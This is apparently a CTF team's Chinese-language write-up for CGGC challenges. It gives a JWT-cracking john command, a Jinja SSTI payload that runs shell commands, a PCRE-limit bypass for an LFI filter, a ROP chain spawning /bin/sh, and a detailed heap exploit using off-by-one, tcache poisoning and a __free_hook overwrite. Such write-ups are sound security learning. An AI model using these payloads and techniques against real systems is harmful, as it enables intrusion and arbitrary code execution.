# CGGC write-up
###### tags: `write-up`
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
## Web
### bossti
> [name=Whale120]
第一關是用jwt sign的登入頁面,把密鑰用john暴一下並修改參數登入就好:
`john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256`


登入後的畫面上方有個`7*7`,馬上想到SSTI,結合前面JWT帶有的參數hack就可以植入payload:
`{{config.__class__.__init__.__globals__['os'].popen('cat Flag.txt').read()}}`

拿flag啦~
### babyLFI(賽後解)
> [name=naup96321]
>這題當下沒打出來是因為我在搞,100000打成1000000,結果噴錯說request太長,結果我就以為不是這樣做就沒做了
首先他有一個網站以及他有給網站source code

分析一下source code他用`$_REQUEST{'filename#'}`來接收使用者輸入,所以可以用`http://10.99.111.111:12345/index.php?filename%23=`這樣來接收輸入(記得#要urlencode,我忘記要用結果被卡了好幾個小時)
並且他有過濾掉php://filter,要想辦法繞過,才能用php://filter嘗試拿flag
另外注意到phpinfo在docker run 起來時就會被rm掉,所以可以自己架一個來看php info有沒有東西

在觀察phpinfo時我注意到PRCE限制為100000(哭阿,我打1000000,那時候沒有把他架起來QQ),所以我可以把payload填充到長度100000,繞過php://filter過濾。

繞過後直接用php://info構造payload就可以拿到flag
## Reverse
### Gaoyi
> [name=FlyDragon]
把所有判斷都 Patch 掉,跳到輸出 flag 的部分就好

## Pwn
> [name=Aukro]
腳本很醜 等修整好再丟上來
---
### gift
> 送了一個大大大禮包
可以做記憶體任意寫
後來仔細想想如果多利用一下這邊的話可能可以更簡單
但我打的時候就只有單純的堆rop
- Partail RELRO
首先我先把`__stack_chk_fail` hijack 成`main`的`leave ret`
這樣就可以忽視stack canary
接下來我堆的是
```
rdi,
putsplt
putsgotplt
rdi
buf1
getsplt
rsi_r13_r14_r15_ret
buf1
```
也就是`puts(putsgotplt); gets(buf1)`
這樣就可以leak libc, 並且達到stack migration繼續開點
剛剛的gets的$\downarrow$
```
/bin/sh
0
0
rdi
buf1
ret //this is for alignment
system
```
system(/bin/sh)
> getshell
---
### note
> 經典的heap note題
> 這次屬於沒有UAF的類型
> 但輸入可以off-by-one, 打Tcache positioning 最後打__free_hook
> 雖然這個off-by-one我找了一段時間
1.
```
add(0,0x18)
add(1,0x18)
add(2,0x18)
add(3,0x18)
```
$0\ at\ 0x290$
$1\ at\ 0x2b0$
$2\ at\ 0x2d0$
$3\ at\ 0x2f0$
```
delete(3)
delete(2)
```
$0\ at\ 0x290$
$1\ at\ 0x2b0$
$T_{0x20}\rightarrow 2 \rightarrow 3$
`----------------------------------IAMSPLITLINE----------------------------------------`
2.
```
edit(0,b'a'*0x18+b'\x51')
delete(1)
add(4,0x48)
```
chunk_1.size = 0x50
free\&melloc拿回來 **ind變成4** //其實好像可以用1
現在heap是
$0\ at\ 0x290$
$1\ at\ 0x2b0~0x2f0$
$2\ at\ 0x2d0(freed)$
$3\ at\ 0x2f0(freed)$
且$T_{0x20}\rightarrow 2 \rightarrow 3$ 所以如果想要的話這裡可以拿chunk2的fd, key來leak heap, Tcache entry
`----------------------------------IAMSPLITLINE----------------------------------------`
3.
```
add(1,0x18)
edit(4,flat(0xdeabeef)*3 + flat(0x421, 0, 0))
make_chunk0x420_ligal()
add(5,0x28)
add(2,0x28)
add(3,0x28)
delete(1)
```
下一步驟我們要libc所以需要創造unsortedbin
我們完全overlap的是freed掉的2
所以我們現在把它拿回來 (now it's idx = 1)
然後把他的size改成0x420 > T_cache_maxSize
然後確保他是個合法的chunk並且不會被merge as`0x420,chunk, chunk, top chunk`
後面三個0x28是後面unsorted bin壞掉 我懶得修 所以乾脆在他壞掉前先malloc就不用擔心這問題了
free掉 這時候$unsorted\ bin \rightarrow chunk\ 1\ at\ 0x2d0$
且$T_{0x20} \rightarrow 3$
`----------------------------------IAMSPLITLINE----------------------------------------`
4.
```
padd = flat(0xdeadbeefdeadbeef)*3+b'abcdefgh'
edit(4,padd)
getinfo(show(4))
```
注意到現在可控的chunk 4在0x2b0 有0x48可寫
chunk 1在0x2d0
所以我們把chunk4填滿讓他不要有nullbyte直到overwrite 0x421
這樣就會剛好只把有libc資訊的那的蓋掉第一byte 並印出
這樣並不會影響我們計算libc base
`----------------------------------IAMSPLITLINE----------------------------------------`
5.
```
delete(6_from_getinfo)
edit(5,b'a'*0x28+b'\x51')
delete(3)
delete(2)
```
6是一個0x30的chunk
現在5,3,2是alocated chunk
然後分別在0x730, 0x790, 0x760
用5把2的size改成0x50
2 free掉 進$T_{0x50}$
3 free掉 進$T_{0x30}$
現在重要的是
$T_{0x50} \rightarrow 2$
$T_{0x30} \rightarrow 3 \rightarrow 6$(cnt =2 )
`----------------------------------IAMSPLITLINE----------------------------------------`
6.
```
add(1,0x48)
edit(1,flat(0,0,0,0,0,0x31,free_hook,0xdeadbeef))
add(2,0x28)
```
真正的重點
現在把2拿出來 (0x760~0x7a0)
可以改到3(0x790)
重點是 **fd改成free_hook, key改掉**
所以呢現在
$T_{0x30} \rightarrow 3 \rightarrow \&\_\_free\_hook$(cnt=2)
把3拿出來
`----------------------------------IAMSPLITLINE----------------------------------------`
7.
```
add(3,0x28)
edit(3,flat(system))
edit(2,b'/bin/sh\x00')
```
$T_{0x30} \rightarrow \&\_\_free\_hook$(cnt=1)
再malloc一次就會拿出 `__free_hook`
把`__free_hook`的內容寫上`__libc_system`
然後再任意的allocated chunk寫上`/bin/sh` 這裡選擇2
`----------------------------------IAMSPLITLINE----------------------------------------`
8.
free(2) == system(/bin/sh)
> getshell
## Misc
### Space game
> [name=FlyDragon]
在網頁上拿到 `game.gb` 檔案,再用 GameBoy Emulator 把遊戲跑起來,用 Cheat Engine 修改擊敗敵人的數量 (>30) 抵達終點就會有 flag
